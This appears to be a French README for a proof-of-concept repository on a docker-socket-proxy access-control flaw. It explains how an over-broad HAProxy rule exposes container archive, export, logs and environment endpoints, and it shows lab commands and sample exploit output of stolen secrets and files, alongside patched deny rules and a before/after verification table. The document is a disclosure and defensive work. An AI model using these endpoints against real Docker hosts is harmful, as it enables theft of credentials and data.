
Exploit de preuve de concept pour CVE-2026-78122, démontrant l'exfiltration du système de fichiers des conteneurs et des variables d'environnement à travers les règles d'accès trop permissives de docker-socket-proxy, ainsi qu'une configuration HAProxy corrigée.
Tecnativa docker-socket-proxy ≤ 0.5.0 — Granularité insuffisante du contrôle d'accès (CWE-1220)
CVSS 4.0: 8.3 (Élevé) — CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
Le vecteur d'attaque est Adjacent (
AV:A) : l'attaquant doit avoir un accès réseau local/adjacent au proxy — c'est précisément pourquoi le maintenir hors de toute interface routable fait partie de l'atténuation.
docker-socket-proxy est un frontal HAProxy pour le socket Docker dont le but
est de fournir un accès ciblé, avec privilèges minimaux à l'API Docker. La
recette canonique « sûre, en lecture seule » que les opérateurs utilisent est :
CONTAINERS=1 # allow listing/inspecting containers
POST=0 # deny everything that mutates state
# every other flag left at its default (0)
Les opérateurs pensent raisonnablement que cela donne des métadonnées de conteneurs en lecture seule. Ce n'est pas le cas.
Dans haproxy.cfg,
l'ensemble du namespace /containers est contrôlé par une seule règle de préfixe grossière :
http-request allow if { path,url_dec -m reg -i ^(/v[\d\.]+)?/containers } { env(CONTAINERS) -m bool }
Cette regex correspond à tous les sous-chemins GET sous /containers, y compris les
points de terminaison de lecture sensibles qui n'ont jamais été destinés à faire partie de « lister les conteneurs ».
Comme ce sont tous des GET, la protection POST=0 ne fait rien pour les arrêter :
Effet net : avec la posture « durcie » CONTAINERS=1, POST=0, toute personne qui peut
atteindre le proxy peut déverser les secrets et exfiltrer le système de fichiers complet de
chaque conteneur de l'hôte.
lab/ vulnerable docker-socket-proxy v0.5.0 + a victim container with planted secrets
exploit/ exploit.sh — end-to-end data-exfiltration PoC
mitigation/ patched haproxy.cfg + compose that denies the sensitive sub-paths
verify.sh one command: stand up both, exploit, print a before/after table
teardown.sh stop everything
loot/ exploit output lands here
Nécessite Docker + Docker Compose et un shell POSIX (Git Bash fonctionne sous Windows).
./verify.sh
Ou étape par étape :
docker compose -f lab/docker-compose.yml up -d # vulnerable proxy on 127.0.0.1:2375
bash exploit/exploit.sh http://127.0.0.1:2375 # loot lands in ./loot
Le proxy est lié à
127.0.0.1uniquement. N'exposez jamais un proxy de socket Docker sur une interface routable.
[+] POST /containers/create -> 403 Forbidden (operator believes they are safe)
Leaked environment variables:
STRIPE_API_KEY=sk_live_FAKE_0000000000000000
DB_PASSWORD=hunter2-from-container-env
[+] Pulled /etc/passwd via /archive
[+] Stole /run/secrets/aws.env via /archive
[+] Exported entire filesystem (8,095,232 bytes) via /export
[+] Retrieved process table via /top and logs via /logs
Chaque élément ci-dessus a été obtenu alors que POST=0 était toujours en vigueur.
Vraie correction : mettez à niveau vers la version corrigée (suivie dans
issue #182 /
PR #183) et cessez
de considérer CONTAINERS=1 seul comme « en lecture seule ».
Ce dépôt fournit également une configuration durcie prête à l'emploi
(mitigation/haproxy.patched.cfg) qui ajoute
des règles deny explicites pour les sous-chemins dangereux avant l'autorisation
grossière /containers, chacune réactivable via une option dédiée
(ALLOW_ARCHIVE, ALLOW_EXPORT, ALLOW_LOGS, ALLOW_TOP) :
http-request deny if { ... /containers/[..]/archive } ! { env(ALLOW_ARCHIVE) -m bool }
http-request deny if { ... /containers/[..]/export } ! { env(ALLOW_EXPORT) -m bool }
http-request deny if { ... /containers/[..]/logs } ! { env(ALLOW_LOGS) -m bool }
http-request deny if { ... /containers/[..]/top } ! { env(ALLOW_TOP) -m bool }
Vérifié avant/après (sortie de verify.sh) — même posture CONTAINERS=1, POST=0 :
Les listes et inspections légitimes fonctionnent toujours ; les primitives d'exfiltration sont bloquées.
Sur le plan opérationnel, également : gardez le proxy hors de tout réseau routable, montez le socket docker en lecture seule et appliquez le moindre privilège (n'activez que les options exactes dont un consommateur a besoin).
Uniquement pour les tests de sécurité autorisés et à des fins éducatives. Le laboratoire s'exécute entièrement sur votre propre hôte avec des conteneurs que vous avez créés.
| Point de terminaison (GET) | Ce que cela divulgue |
|---|
/containers/{id}/archive?path=… | Lecture de fichier arbitraire depuis n'importe quel conteneur |
/containers/{id}/export | Système de fichiers complet du conteneur sous forme de tar |
/containers/{id}/logs | stdout/stderr du conteneur |
/containers/{id}/top | Liste des processus avec argv complet (peut contenir des identifiants) |
/containers/{id}/json | Configuration complète y compris les variables d'environnement |
| Point de terminaison GET | Vulnérable (:2375) | Corrigé (:2376) |
|---|
/containers/json (liste) | 200 | 200 |
/containers/{id}/json (inspection) | 200 | 200 |
/containers/{id}/archive | 200 | 403 |
/containers/{id}/export | 200 | 403 |
/containers/{id}/logs | 200 | 403 |
/containers/{id}/top | 200 | 403 |